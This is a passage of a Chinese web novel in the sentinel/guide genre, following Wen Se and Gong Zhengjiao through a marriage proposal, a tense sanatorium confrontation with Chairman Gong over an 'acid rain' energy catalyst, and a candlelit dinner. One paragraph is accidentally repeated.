弓铮皎试图极力掩饰的“惊喜”就这样被一句道破,一时间脸上都绷不住表情,眉梢眼角都有点发颤,又是忐忑又是兴奋。 他张了张嘴,一句多余的解释都说不出,最终只能郑重而又认真地应了一声:“是。” 只是这话题的转变对于闻璱来说 有些太跳跃了。 闻璱实在不能理解,之前他们还在谈论毫无暧昧的正事不是吗?这其中究竟有什么话题能引申到感情上,进而让弓铮皎联想到求婚? 毫无关联,所以完全符合弓铮皎一贯作风。 闻璱静静地凝视着弓铮皎,几不可察地轻微沉了一下眉头。 连他自己甚至都不知道自己有这样的动作,弓铮皎却注意到了。 那些星星点点的抽象的闪光似乎变得朦胧,渐渐在弓铮皎眼中隐去。 他低下头轻抿了一下薄唇,再抬头时,仍然挂着笑,只是情绪不同到底反应在肌肉的细微运动里,期待变成了落寞,看起来实在是再标准不过的强颜欢笑。 “我就是问问。”他说,“本来也是我突发奇想,现在知道你暂时没有这种想法,我就把这件事先搁下。” 顿了顿,又补充道:“我不急。” 当然是谎言——他急得快要死要活了。 闻璱却轻声道:“可我没说不可以。” 弓铮皎没再接话。 他着实有些茫然了,闻璱刚才的反应已经是最好的回答,现在却说“可以”,实在矛盾。 如果不是求婚而是其它请求,如果换了别人譬如逄靥星,弓铮皎必然立刻将这件事敲定下来,完全不在意对方是否碍于情面、口是心非。 但偏偏这是求婚,这是对闻璱。 他不舍得,也不理解,因为除了一些无伤大雅的小性癖,闻璱是全世界最不会委屈求全的人。 “我只是觉得有些事情还没有处理完。”闻璱道。 弓铮皎瞭然地点点头:“好,那等到我们跟舒颖去调查完酸雨,我再问你这个问题。” “不,”闻璱摇了摇头,话锋一转:“只是有件事情我要先跟你确认,你清楚我们接下来要做什么,对吗?” 弓铮皎“啊”了一声,按照自己的理解回答道:“和张律师会面,然后去污染区帮舒颖做研究。” 字面上的要做什么,确实如此。 “新物质研发虽然是星海能源主导的,但你叔叔脱不开干系,你也被他利用了。”闻璱平静道,“继续下去,说不准我会和他作对到什么程度。我不想说‘我和你叔叔掉水里你救谁’这样胡闹的话,但未来确实有可能走到这一步,你明白吗?” 弓铮皎秒答:“我肯定救你啊!” “不仅是先救我。”闻璱道,“如果能上岸的注定只有一个人,不像上次那样,即便你再快、再强,也不能兼顾呢?如果真的走到那一步,如果我想要胜利就只能把他按倒在水里,我不会手软。” 他轻叹一声,竟然先移开视线,不再看弓铮皎。 扪心自问他当然不想让弓铮皎难做,然而,是他人先将弓铮皎摆上牌桌的筹码区。 闻言,弓铮皎眨了眨眼,执拗道:“可我刚刚没有说‘先’。” 闻璱一怔。 “我明白你的意思,可我又不是傻子。”弓铮皎理直气壮,“叔叔他们利用我做实验,把我当做道具,他们做了这么多,好像也没有考虑过我的感受。难道此时此刻我还要为了他们和你决裂?现在想要救我的明明是你。” 闻璱解释:“我也是为了我自己——” 他下意识地不想让自己被戴上这顶高尚的大帽子,弓铮皎打断了他,大声道:“你就承认吧,你明明就是为了我!” “那种物质,你现在对它已经有头绪,未来还会更了解——就算你不继续深入,以后也只需要注意一些,就能避开,以后也会安全、健康、平稳地度过余生。你其实根本不需要卷入这些事,明哲保身对你来说很容易,可你偏不,完全就是因为你正义、善良,而且爱我!” 一番话掷地有声,空旷的房间里甚至隐有回声,重复着最后两个字:爱我。 闻璱心里罕见地有几分淩乱,像是被戳破的恼羞成怒,但他甚至不明白自己有什么可恼羞成怒的……又或许只是羞。 这还是头一回弓铮皎在交锋中占据上风,见闻璱被说得眼下泛起一层淡淡的绯色,却仍然执拗地不直视自己,弓铮皎又是怜爱又是风水轮流转的暗爽。 他很想用闻璱的咒语来回击闻璱,但话出口时,怜爱到底还是占了上风。 “看着我好吗,小鹅。”他温柔地伸手去探闻璱脸颊,声音要比动作更温柔几百倍,完全看不出这是一种回击。 闻璱不像他,总是硬梗着肌肉自以为耍帅实则添乱。 被一只比自己脸颊还烫的手抚过时,闻璱没有任何躲闪,顺着力道重新看向弓铮皎。 那双眼睛得意到堪称意气风发。 闻璱抬手握住他的手,有些无奈地说:“好吧。” 好吧,他确实有点爱……虽然昨天在列车上,他还觉得只是喜欢而已。 “我也爱你,这个世界上,我最爱的就是你。”弓铮皎认真道,“你不会真的让我去动手,亲自完成杀人的动作,这对我来说就足够了。我当然会站在你这边,没有任何纠结为难,因为是你先选择站在我这边的。” 话音才落,弓铮皎便凑上来,以迅雷不及掩耳之势在闻璱脸上留下一个巨响无比的吻。 闻璱:“……” 没等闻璱的情绪彻底转变,弓铮皎奖励完自己,又很机灵地变成有些怅然的模样:“我肯定不是什么很贱的东西,否则你也不会爱上我,但我其实也想不通,为什么叔叔对我就这么无情呢?你和柳部长无亲无故,但柳部长对你好像都有几分真情实感的关切。” 否则在公墓那时,闻璱就不可能以自己的安危威胁柳部长交付情报。 闻璱明知这是弓铮皎适时装可怜的策略,却还是心甘情愿地顺着他转移话题。 “我和柳部长之间说不上是感情深厚,而是他认为我们立场相同、在同一个群体里,所以他会维护我,也会维护这个群体里的所有人。”闻璱道,“但这和我们之间不一样。” “当然不一样,我们是爱情。”弓铮皎抢答。 “……”闻璱无语,“我要说的不是这个,我是说,你应该按照种族主义来理解他们。” “柳部长认为特种人和普通人是两个种族,但特种人中,向导才是完美的,哨兵则是畸变体,这会给他带来强烈的种族归属感。”闻璱摊了摊手,“当然,他肯定也不是无缘无故这样,他有他的故事——我要说的是,所以我只是在利用他的这种集体心态,而不是因为他对我很有感情。” 顿了顿,见弓铮皎理解良好,闻璱才继续道:“而宫董其实与他是同一类人,很不幸,宫董的观点大概是反过来的,所以你成了集体之外的那个人,而不是因为感情上的偏心。” 弓铮皎明白闻璱这番话是为了让自己心里好受些。 他领闻璱的情,只可惜他仍然对这些意识形态嗤之以鼻,并完全表现在脸上:“就因为我是特种人?真是荒谬,他老弟还想方设法地想变成特种人呢。” 闻璱被他丰富的表情逗得轻笑一声。 没想到下一秒,弓铮皎的脑回路立刻拐向新的羊肠小道:“等等,那按照他们的想法,我们岂不是跨越种族的真爱?” 闻璱:“……” 他突然意识到素质教育任重道远。 不过,既然话题到了这里,闻璱又想起另一件要说的事。 “你刚才说我可以保护自己,这未必。”闻璱道,“星海能源的研究,意味着这种‘酸雨’物质大概是某种新能源,或是能源催化剂,为了将它研究出来,星海能源不惜发布违规委托、封锁一系列课题,付出不小,可见利润更大,也就是说一旦顺利推出,很大概率正常生活中避无可避,我只能压缩自己的生活空间。” “而且,实验室数据里的阈值不一定适用于生活中。据我所知,星海能源的委托只是测验了单次接触的安全浓度,实际上在生活中如果大肆推广,重复接触会让风险变得更高。” “所以,我们的计画是不能让它上市?”弓铮皎思索道,“这可不太容易,虽然技术上的事我不懂。” 闻璱点点头:“至少不能让它不明不白地就这样进入大家的生活。” 对于弓铮皎的后半句话,他没有多说什么,却也并不显得十分苦恼,便能勉强算是胸有成竹。 弓铮皎又抱了一下闻璱,安慰道:“我会帮你。” “你当然要帮我。”闻璱低声道,“虽然我不想这样说,但是……我得利用你。” 宫家人把弓铮皎当实验道具、当牌桌上的筹码,闻璱当然反感,但事到如今,他也不得不让弓铮皎成为自己手里的一把刀。 终端的来电提醒打断了这个拥抱。 闻璱拿出来一看,是柳部长拨来的通话,想来和张律师会面的事有些变量。 不知为何,闻璱有种直觉——这通电话最好不要让弓铮皎在场。 这些斟酌的念头在闻璱脑袋里只不过是一瞬之间,闻璱状似不经意道:“对了。” 弓铮皎:? “我喜欢低调一点的,私人场合就好。”闻璱笑了一下。 弓铮皎愣了几秒,后知后觉地反应过来,闻璱是在回答一开始关于求婚的话题。 顿时,他脑袋里炸响了一发烟花,又变成婚礼的礼花炮,落下来撒了一地,彩色花片几乎要把弓铮皎淹没。 他几乎觉得呼吸困难,但不是痛苦,而是狂喜。 闻璱微笑着轻触他额头:“去洗个澡吧,你都要烧着了。” 自从列车上下来至今,行程都很紧张,一件事接着一件事,闻璱抓紧时间冲澡时,弓铮皎在收拾行李。 如今弓铮皎看起来虽然不算风尘仆仆,但足以令一个有强迫症的人无法忍受。 果然,弓铮皎并不起疑,果断上楼洗澡去了,步伐轻快地几乎要跳起来。 闻璱按在通话上的手指终于划向接通。 通话那头,柳部长的第一句话果然是:“弓铮皎在不在?” “不在。”闻璱道,“这次是真的。” “我管你们怎么样,现在说正事。”柳部长沉声道,“坏事了,张光霁把证据给了宫董。” 闻璱皱眉:“你把张永荣的事情告诉他了?早不说晚不说,为什么现在才说?” 没等柳部长解释,闻璱又道:“你想拿到证据,跳过我,没想到张律师也跳过了你。” 柳部长无法反驳。 说不意外是假的,但幸好闻璱原本就想像过类似的可能,这番变动对他来说倒是不算很措手不及。 柳部长紧接着道:“总之,那份证据的下落现在宫董更清楚,不过,宫泰初打算动手了,既然如此,现在是最好的机会。” “什么机会?”闻璱冷笑一声,“让弓铮皎为你的贸然买单?” 柳部长声音更沉,“我只是从利弊的角度在考虑问题,既然宁滂的证据我们得不到了,能抓弓铮皎作为现行也未必不可。” “那还真的不可。”闻璱冷冷道。 柳部长怒道:“你不要太感情用事,闻璱!难道你以为弓铮皎真的能撇得清?” 闻璱没有回答柳部长,突然问:“会面,安排了吗?” “现在安排你们见面还有什么意义?”柳部长恼火,“闻璱,你能不能动动脑子,你以为你现在的处境比弓铮皎好多少吗?无论如何,我是在帮你!” “那就安排我们会面。”闻璱道,“别再自作主张。”。 几天之后,闻璱如约抵达了疗养院。 柳部长并没有出现,从院落到病房门口,都由另一个白塔在职向导带路。 直到推开病房门之前,弓铮皎突然沉下脸色,拉住闻璱的手。 “别进去。”弓铮皎低声道,“病房里不只一个人,我叔叔在里面,还有……” 他有些欲言又止,大概没想到宫董的速度能这么快,但还是缓缓将自己感知到的说出口:“有一个老人,很可能是张永荣。” 从柳部长打草惊蛇开始,短短几天时间,这位远在墨代山疗养的精神病患者、实验受害者就被安置到了首都,回到希冕创辉的掌心,宫董的危机反应不可谓不快。 而宫董本人也在这里,几乎明晃晃地宣告着,这就是一场鸿门宴。 弓铮皎心里一紧吗,叮嘱过闻璱,转头便质问起那位向导:“病房里似乎不只有病人而已?” 向导微笑解释:“好巧不巧,今天宫董来探望病人。” 弓铮皎没想到这样一个浓眉大眼的白塔在职特种人,或许还是柳部长的亲信,也成了被宫董收买的人。 他很快反应过来,如果不是这样,便是柳部长又动了手脚,背叛闻璱。 然而当他怒不可遏地转过头去时,只见闻璱神情淡淡,似乎对此说不上很生气。 “你先回去吧,弓铮皎。”闻璱目不斜视,“你不是报了个烹饪教室吗?现在来得及跟老师说,你又不用请假了。” 弓铮皎顿时怔住,一时间竟不知道该先思考闻璱这是不是反话,还是先解释烹饪教室的事。 见他不动,闻璱又道:“没关系,我人都在这了,你叔叔总不会当场掏出枪来把我毙了。” 话粗理不粗,虽然这话确实是很粗——不想张律师会突然暴起拉人跳楼,这种事宫董是做不出来的,或者说,不可能脏了自己的手。 而疗养院今日很冷清,看得出有专门“清场”过,似乎确实没有能立刻威胁到闻璱人生安全的存在。 只是,弓铮皎不太理解,为什么此时此刻要支开自己。 迟疑之间,闻璱轻笑一声,说道:“记得给我带点课上的伴手礼来,比如说烹饪教室里最入门的……应该是手指饼干?” 说着,他抬手抹过鬓边的一缕碎发。 在某个监控的死角里,那根发丝有一瞬间浸了墨般乌黑,转眼间又化成一支羽毛,被交到弓铮皎的手里。 似乎是拟态融合——但白塔向导对此置若罔闻,彷佛什么也没有看到。 下一刻,那支羽毛无风自起,飞出窗户,一路飘摇向不知何方。 第94章 那就是——进化。 目送着弓铮皎离开之后,闻璱推开门,独自步入病房。 时值盛夏,病房里空调开得很大方,几乎让人感到有些发冷了。 遮光窗帘拉得很紧,外间仅靠茶几上一盏台灯照明,昏暗得像是午夜。 外间也只有一个中年人坐在沙发上,正是宫董。膝头计算机冷色的光映在他映脸上,显得更是阴沉。 “小闻,你来了。”中年人站起身,仍然像上次见面一般和蔼地招呼道,“你很准时,也很懂事。” 准时——因为闻璱在病房门口踌躇,被弓铮皎试图拉走时,宫董在屋里通过即时监控看到了一切。 懂事则是因为闻璱明知如此,甚至还体贴地劝走了弓铮皎,让这场对话不会暴露在弓铮皎“旁听”的耳朵里,这显然很合宫董的心意。 宫董对闻璱伸出手,态度看得出比上一次更加欣赏。 但闻璱没有握上去。 他垂下眼眸,浓密的睫毛掩去眼中心绪,声音有些冷淡:“您过奖了。” 宫董并不恼火,没有得到回应的手自然而然地收回来,摸了摸自己的下巴:“呵呵,看来你还很谦虚。” 闻璱仍不回话,说实话他目前对宫董的态度还有些拿不准,只能拿出这样的态度。 “我是认真的。”宫董笑了,“我的人生经历远比你们丰富,而你确实是这么多年来我很少见到的年轻人,聪明、敏锐、随机应变……如果你不是特种人,我真希望你能够辅佐我儿子。” 他顿了顿,故意提醒道:“宫烁,你们在酒庄见过一面,记得吗?” 见闻璱神情似乎略有所动,宫董继续道:“我们家已经够有钱了,比起商业联姻,我更愿意培养一些知根知底的人才。你确实可以和宫烁接触接触,即便不谈恋爱,交个朋友也好。” 说是不谈恋爱也好,其实,应该是“只能交个朋友”才对。 他会同意自己的儿子和很能干的小猫小狗做朋友,但不可能接受儿子和小猫小狗缔结婚姻。 幸好闻璱原本也对他儿子没什么兴趣——严格来说,是对谈话间被提到的这个儿子。 闻璱便缓缓道:“弓铮皎也是你的儿子。” 这是个不算秘密的秘密,宫董既不认为弓铮皎会愿意将这个“伤疤”揭开,暴露给他人,更不认为有人敢在自己面前提起。 宫董的眉毛抖了一下,补充道:“你也很有胆识。” 静默片刻,宫董终于放弃和闻璱讲无意义的场面话互相拉扯。 他自然而然地将话题转移:“不只是因为刚才的话,也是因为你现在做的事情。或者我也要先问问你,小闻,你知道自己在做什么吗?” 闻璱反问:“不然呢?” “我想你可能还不够了解。”宫董摊手,“我来给你讲一讲吧,否则,你肯定要认为我是个为了可怕实验,连孩子都能谋杀的恶人。” 虎毒不食子,可惜虎就是那个儿子。 “弓铮皎的父亲,我的同胞兄弟,他确实沉迷于特种人和精神体方面的研究。”宫董坦然道,“他患有阿斯伯格综合征,这你知道,所以很多离谱的行为,我没法太多地苛责他。” “几十年前,我默许他开展实验,没想到造成了那样的惨案,为了让这一切终结,我花了不少精力,连头发都白了几根。当然,你也看到了,他还没有放弃。” “但是,那之后,他到底没有再做出什么事情来。”宫董煞有介事地点了点头,“他迷途知返,能有一件数年为之热情的兴趣领域,也算是好事,我实在不忍心连这样一个简简单单的爱好都要剥夺。” 闻璱淡道:“那弓铮皎又是怎么回事?” 虽然他心里已经有了模糊的猜测,但现在有套话的机会,笨蛋才会错过。 宫董微微一笑:“这对我来说,也是个意外。” “你应该已经知道了,通过那个在污染生物研究院的朋友。在她第一次偷偷把封存的报告调出来时,我们就注意到她了。她正在研究的有关于星海能源的新项目,从‘酸雨’中提取的那种物质,作为一种能源催化剂,能够提升燃料的能量输出效率——而且,是几乎所有燃料。” “你明白这意味着什么吗?小闻,不是你们想像的几千万、几个亿的利润,是几万亿、数不清的零,是改变能源市场,甚至改变全人类的未来。当能源取得进展,或许太空旅行真的会成为现实,而不是梦。” 宫董期待着从闻璱的脸上看到震惊、惶恐,因为巨大的利益和无法想像的数字。 然而闻璱还是那副淡然的模样,缓缓道:“我知道。” 因为他早就觉得有不合理之处,譬如从单纯功利的角度来看,宫董拿出来安抚弓铮皎的动辄也快达到几个小目标了,即便将一切缺省为“等弓铮皎死后一切都会回来”,个中差价仍然能负担好几个公关团队的长期费用了。 正因为得不偿失,才绝非商人心态的宫董真实目的。 宫董没能得到想要的反应,叹了一声,话语中似有惋惜:“真可惜,这种异常波动一开始还是我们的人先采集到的,没能研究出什么门道来,才交给星海那边。” “不过呢,我当然也不会彻底放弃。” 闻璱眼神一凛,明白他终于要说到正题了。 就像宫博士不会放弃自己病态的热爱,宫董也同样不会放手曾经近在咫尺的利益。 “其实,对于弓铮皎的父亲来说,也是同样。”宫董仍然执意遮掩这层关系,“星海能源发布了几万条私人委托,还购买了许多其它涉及酸雨的常规委托数据,千万条数据里只出了弓铮皎一个例外,问题又刚好出在精神图景,简直同时解了我们两人的燃眉之急。” “我掌握了千万条数据中的唯一一条错误数据——也巧,弓铮皎的父亲同样在研究这种催化剂直接作用于特种人的作用,让弓铮皎的状况看起来更加严重,也让我的话语权,更大了。” 宫董微微笑着,显然对此非常满意。 事到如今,闻璱算是完全印证了自己的猜想。 个别案例不至于会直接导致催化剂无法上市,但经过精心的运作之后在适当的场合放出,舆论的浪潮必然能让所得利益大打折扣,能直接减少好几个零也说不准。 不仅如此,希冕创辉在白塔的话语权也是星海能源为催化剂推广必不可少的。 闻璱缓缓道:“所以,你们故意卖出破绽,让柳部长主动加入,这层关系几乎也能表示白塔方面的站台……他对催化剂的事情,其实一无所知。” “当然。”宫董笑道,“我当年注资时,倒是没想过能在今天带来这般机遇。” 偏偏特种人相关事务大多要经过白塔,又偏偏白塔这个机构的性质如此特殊,想把手伸进白塔,远比伸进普通人行政部门要容易得多。 闻璱只有最后一个待确认的疑问了:“柳部长给我的那个贴片式注射器,上面附着的就是这种催化剂?” 宫董颔首:“没错,虽然我没想到柳心致会把这东西交给你,但这其实是术前的最后一步。” 也就是说,一旦粘贴那片注射器,弓铮皎大概就真的会陷入无法扭转的神游中。 闻璱下意识地提了一口气,彷佛是庆幸。 虽然再给他一万次机会做选择,他都绝不会在这件事上冒险,但此时此刻回想起来,闻璱仍然有种劫后余生的感觉。 宫董善解人意地给了闻璱几分钟调整心态的时间,才再次开口:“我知道你们想要从小张入手拿到三十年前实验的证据,但是我很遗憾,这恐怕不行。” 就如同弓铮皎的存在之于预备推广催化剂的星海能源,宁滂的证据之于希冕创辉这个生物科技企业同样。 所以,在张律师这个危险的“线头”展露异常行为之后,他也被高度监控,当然不会错过柳部长近日的频繁探望。 面对着这个不得不接受的显示,闻璱似乎有些怅然,再开口时声音有些低沉:“所以弓铮皎他……” “没救了吗?” “怎么可能。”宫董笑着摇了摇头,“手术并不会致死,三十年前就不会了,现在技术进步,他只会比宁滂更健康,也比他现在更安全可控,你们可以重新培养感情——当然,最好让他从此远离催化剂,毕竟从宁滂身上你也看到了,他的精神力仍然存在,只是变得萎靡,催化剂会带来什么负面影响,我也不好说。” 一个更可控的活证物,简直令宫董满意到无以复加。 默然良久,闻璱最终道:“……我没有什么别的要问的了。” 宫董道貌岸然道:“我理解你的心情,铮皎毕竟是我看着长大的孩子。” 闻璱垂下眼眸:“既然如此,看来我也没有见张律师的必要了……请容我离开吧。” “请便。”宫董体贴道,“我的司机在楼下,您可以乘他的车回去,放心,我不会对您做什么的。” 未必是不想,大概是不敢,毕竟弓铮皎的用处还大,现在的状态又可以自由行动,宫董也确实不会选择在此时对闻璱动手,省得弓铮皎发疯满盘皆输。 闻璱道:“不用了。” 他转身便走,背影似乎有些沉重和疲惫。 临出门前,他却蓦地回头望向宫董。 昏暗的灯光里,宫董坐回暗处的沙发上,重新拿起计算机开始办公,手指在键盘上敲击的节奏都是轻快且愉悦的。 一束光因闻璱拉开门而打入房间中。 闻璱突然低声道:“但如果有催化剂来源污染区的证据,一切都会化为泡影,对吗?” 宫董脸色微变:“真可惜,这不可能。” 他说得似乎不能算错,酸雨是唯一一样在污染区都不能被特种人目击观测的污染物,更不用说普通人了。让普通人相信、承认这份证据的存在,堪称是个伪命题。 闻璱轻飘飘道:“是吗?” 话音落下,他背后便冒出一双翅膀,裹挟着一阵外间燥热的夏风卷进病房,将清凉的空气一扫而空。 闻璱又道:“其实我听说过一种理论,特种人相比于普通人而言算是变异,但如果将时间的尺度放大再放大,生物的历史有另一个词来形容这种‘变异’。” “那就是——进化。” 宫董正要将他喊住,却被眼前景象惊得怔住片刻,直到闻璱的身影越来越远——宫董猛地反应过来,闻璱飞走了——不对,闻璱怎么会真的长出一双翅膀飞走? 他按下调用铃,很快,那名白塔向导和楼下的司机都冲上楼来。 将刚才的所见所得复述之后,宫董犹有几分惊魂未定:“怎么回事?怎么回事?他为什么能长翅膀?” 白塔向导为难道:“闻璱的精神体确实是鸟类,但您是普通人,不可能会看到他的精神体才对,会不会是您看错了?您再仔细描述一下详细情况呢?” 宫董反驳道:“不可能,我确定那是一双从闻璱身上长出来的翅膀没错。” 但要描述出更多的细节,宫董似乎又没什么想法了,因为房间内外光暗对比强烈,他抬眼时,只看见闻璱在强光里的一道剪影 ,乍一看倒是想专职审判的天使。 白塔向导实在为难,只能乱找藉口:“如果您确实在刚才看到了他的精神体,那……其实白塔偶尔也会遇到精神体发育觉醒偏晚的特种人,目前记录发育最晚的哨兵甚至已经六十多岁了。” 然而这话一出,原本只是有些凝重的宫董腿都是一颤,计算机就这样摔在地毯上。 “你是说……我可能是晚育特种人?”他从牙缝里挤出几个字。 “……只是不排除这种可能而已,您可以去白塔进行——” “不可能!”宫董暴怒,“我怎么可能是特种人?疯子!你们这些疯子!”。 幸亏疗养院在山上,闻璱飞出山头,又走了一段公路,乘顺风车回市区里然后打车回家。 忙完这趟转车又转车的流程,到家时已经过去两个多小时了。 家里空无一人,连一只精神体也没有,说要去烹饪教室的弓铮皎看起来仍然没有下课回家。 闻璱确实有些身心俱疲,给弓铮皎发了个消息,就在阳台的躺椅上卧下了。 本意只是休息片刻,然而一不留神就睡了过去,直到被阿咬咬醒。 也幸好是阿咬在用牙齿轻轻磨闻璱的小腿,否则换了弓铮皎来,闻璱真拿不准这个咬会不会是某种有伤风化的咬。 他坐起身,弓铮皎正在收拾餐桌,上面淩乱地摆了一堆乱七八糟的盒子,乍一看针线盒、曲奇盒、用来装针线的曲奇盒什么都有。 “怎么拿回来这么多?” “都有痕迹,先都带回来了。”弓铮皎说着拿起其中一个文具盒样子的,“不过我已经找到了,就是这个。” 抽屉式样的文具盒被拉开,露出一只胖胖的、带着指甲的北极熊趾,因为拟态融合的缘故,倒是显得像个玩具标本。 这就是那份闻璱为之而去,却似乎无功而返的“证据”。 “不过这方法你是怎么想出来的?真厉害,真的。”弓铮皎在躺椅旁边蹲下问。 那支羽毛化作小黑某种意义上的“分身”,就这样将弓铮皎带到了张律师家里,指点着弓铮皎查找这份证据。 “张先生的提示。”闻璱叹了一声,“如果不是这样,我怎么可能在病房外就知道,真正的证物并没有被交给你叔叔。” 他这么一说,弓铮皎才想起来,宁滂就曾是一位融合派哨兵,移植了宁滂精神体的张律师如果继承了某些宁滂研究出的妙用,倒也合理。 这份证据到手,闻璱终于安心了半分。 他拍拍身侧的座位,示意弓铮皎过来坐下。 “你叔叔真是个容易害怕的人。”闻璱开玩笑地说了一句,然后把早上会面的情报告知弓铮皎。 当然,他选择性跳过了一些宫董过于残忍、可能会伤到弓铮皎感情的话语,只是事实和行动已然如此。 弓铮皎对此说不上很意外——计谋上十分惊讶,但感情上似乎没什么接受困难。 他甚至立刻进入了下个话题:“那你怎么打算的?” “你叔叔真是个容易害怕的人。”闻璱开玩笑地说了一句,然后把早上会面的情报告知弓铮皎。 当然,他选择性跳过了一些宫董过于残忍、可能会伤到弓铮皎感 情的话语,只是事实和行动已然如此。 弓铮皎对此说不上很意外——计谋上十分惊讶,但感情上似乎没什么接受困难。 他甚至立刻进入了下个话题:“那你怎么打算的?” 顿了顿,又补充一句:“我是说酸雨的事情,总不会我叔叔真的能发育成特种人吧?” 闻璱忍不住一笑:“当然不是。” “他只是隐去了对他不利的部分,所以事情看起来,我们似乎没有什么应对之力。”闻璱道,“星海能源需要他走白塔这边的关系,还封锁了污染生物研究院的课题,说明这种催化剂目前还没能过明路、申请到专利。而如果专利部门那边知道这是污染区出来的东西,很大概率会被彻底拦截,相关部门对污染区产物可是很谨慎的,所以我们只要有这份证据就好。” “至于如何让它被‘看’到,”闻璱微微一笑,“记得我们怎么饲养抱脸蝎吗?” 第95章 是求婚篇。 闻言,弓铮皎眼神一亮,但又不完全亮。 他迟疑片刻,很中肯的评价:“这更困难。” 抱脸蝎虽然评估危险程度不低,但也仅限于危险,更何况就连被认为危险,也有很大程度上是因为群居数量太大难以招架。 换言之,目前对于抱脸蝎种群的了解是相对完善的。 对于闻璱来说,危险不要紧,要紧的是未知。 这么多年来,酸雨一直是污染区最神秘的存在,连“酸雨生物论”都属于才有了个苗头的阶段,更别说饲养它,并让普通人看到它了。 对于一个研究来说,完全是才刚开始学走路就决定参加职业运动员跨栏比赛级别的突飞猛进。 闻璱明白弓铮皎的意思,点头道:“是啊,很难。” 顿了顿,闻璱微微一笑:“但幸好是难,而不是不可能。” “幸好困难可以克服,只是我们的时间有些紧张,而不是真的死局已定。”他轻叹一声,“否则,仅凭这份证物,未必能完成我想做的全部。” 新催化剂将来是否会成为开启人类星际时代的钥匙,闻璱不知道,也并不想要阻拦进程,只是背后的风险一定要明明白白,不能让无数人在不知情的情况下就这样暴露在风险中。 弓铮皎“嗯”了一声,有些心疼地摸了摸闻璱的手:“你这些天也太忙了,今天证物到手,终于能放下心了,进屋休息会吧。” 闻璱确实有些如释重负的事后疲惫,但他心里清楚,对比接下来要做的事情,现在只是完成了一个不算大的节点。 倒是弓铮皎……虽然献殷勤是弓铮皎的常态,但这么体贴懂事反而显出几分异常。 不过闻璱无意戳破,顺着弓铮皎的话,却又四两拨千斤地拨开了弓铮皎的意:“好像是啊,累得我都不想动了,在这里躺一会就行。” 话音刚落,弓铮皎随机应变地把一只手摸上了闻璱大腿。 闻璱:? 倒是不怎么暧昧,因为弓铮皎的手似乎在想方设法地塞进闻璱大腿和躺椅的夹缝里。 弓铮皎双眼放光:“我抱你进屋。” 闻璱:“……” 破案了,原来打的是这个算盘? 但闻璱又不觉得,弓铮皎能预判自己的预判。 他最终捏着弓铮皎的腕子把那只不老实的手拎开。 “算了,还能走。”闻璱起身,缓缓走进自己的房间。 “要我叫你吗?晚些时候。”弓铮皎关切道。 闻璱背对着弓铮皎,眉头微挑。 他轻笑一声,似是而非道:“嗯……或许吧。” 这一觉睡得还算舒坦,等闻璱再睁开眼时,床头的电子表显示已经是晚上八点半了。 闻璱习惯性地在被窝里懵了片刻,然后起身洗漱。 电动牙刷震得他逐渐清醒,也唤起了一件睡前他就略有思考的重要事情——弓铮皎晚上有安排。 于是,闻璱思索再三,甚至换了一身衣服。 他一如既往地没什么时尚细胞,最终只是穿着浅色的针织衫和长裤。 针织衫有些像之前参加酒庄宴会、后来被弓铮皎私藏的那件内搭,只不过是低领,材质也显得更柔软而非精致闪亮。 ……毕竟他总不能换上一身正装太刻意了,这样总要好过穿着家居服。 闻璱一边用皮筋把头发在脑后挽了个低丸子头,一边推开房间门。 果不其然,意料之中,又意料之外——家里很昏暗,只有客厅那边有朦胧的灯光。 闻璱便向着灯光的方向走去,他不用担心自己是否会破坏什么,因为弓铮皎肯定早就听到自己的动静了。 到客厅时,他的目光先落在餐桌上,桌上摆好了鲜花、晚餐和酒杯,是一份准备得很完善的烛光晚餐。 恰好在闻璱转头看向餐厅的时候,身旁响起脚步声。 很轻,大概是专门为了提醒闻璱自己正在靠近,以防太突然吓到闻璱,收获一个条件反射的过肩摔。 然后,一只手牵起闻璱的手,在他肩头落下一个吻。 再然后—— 弓铮皎立刻抬手,捏紧了自己的鼻子。 针织衫很难避免有毛毛,近距离对于哨兵敏感的鼻子来说,无异于喷嚏生成器。 但弓铮皎无论如何都不能接受自己在此情此景下、此时此刻,让一个喷嚏毁了如此完美的氛围,为此不惜难受得要命,也得把这个喷嚏咽进胃里。 闻璱回头便见弓铮皎一脸扭曲又强行扯出一个艰难的微笑,因为鼻腔不通气而发出夹子音的问候:“晚上好,这位美丽的小鹅。” 闻璱眨了眨眼,然后“扑哧”一声笑了出来。 这下弓铮皎自觉前功尽弃,也一脸灰败地彻底破功了。 他抽了张纸巾偏过头去把这个按捺不住的喷嚏打了出来,悲伤地一边用湿巾擦手,一边说:“我想死。” 放在以前,这是绝对不能提起的字眼,因为他一旦这样开摆,闻璱就会生气。 但现在他不是真心想死,只是为自己一开场就崩了而绝望到无以复加,闻璱只觉得他这幅摸样也好笑。 “没事的。”闻璱温和道,“其实这样更像你的风格。” 本意是安慰,但弓铮皎听了只觉得更崩溃、更不可置信:“我在你心里的风格是这种才刚开始就把一切搞得一团糟的风格?” “……那倒不是。”闻璱微微一笑,指了指烛光晚餐,“不先请我落座吗?” 于是,弓铮皎为他拉开餐桌边的座椅,请他在精心准备的晚餐前坐下。 闻璱没有让他继续追究这无伤大雅的小意外,主动将话题引到这顿晚餐上。 餐食——很幸运并不是烹饪教室经验仅几天的弓铮皎为了追求纪念意义亲手所做,而是请餐厅送餐来的,味道很不错,为了关怀闻璱的口味,调味整体偏辣。 也因此,弓铮皎理所当然地只吃了餐前沙拉。 一直到餐后甜点环节,香槟杯都空空如也。 闻璱的目光扫过香槟杯,抿了口柠檬水,随口问道:“回来那么晚,就是为了准备这些?” 这问题没有什么遮掩抵抗的意义,弓铮皎坦诚道:“对。” 他期待这一刻很久了。 “你喜欢吗?”弓铮皎问,“其实我一开始是想自己做的,但是……做饭还真的挺难的。” 在白塔全科成绩优秀,尤其是任何与战斗相关的科目全都几乎满分的弓铮皎不得不承认,这份漂亮的成绩单主要是因为自己在选课上很有心得,从来没有选过“烹饪”这种东西。 否则,那将会成为弓铮皎成绩单上唯一一点污点。 闻璱竟然对此也很有心得地点了点头:“我也觉得。” “你也觉得?”弓铮皎好奇。 “白塔有烹饪这门选修课,我选过。”闻璱平静回答。 这倒是个新奇消息,弓铮皎感觉又翻开了新的一页,页脚就这样多出了一朵意料之外的小花。 “怎么样?”弓铮皎道,“我还以为你对烹饪不感兴趣。” “确实不感兴趣,但当时认为这作为一项独自生活的技能很有必要。”闻璱顿了顿,“不过只上了两个月,我就忍不了了,后来转去了其他课。” “还能转课?” “月测连续得到两个A+的话可以。”闻璱轻叹一声,“我让逄靥星帮我做了两次月测,才成功转课的。” 弓铮皎惊讶地瞪大了眼睛:“你——你还会作弊?” 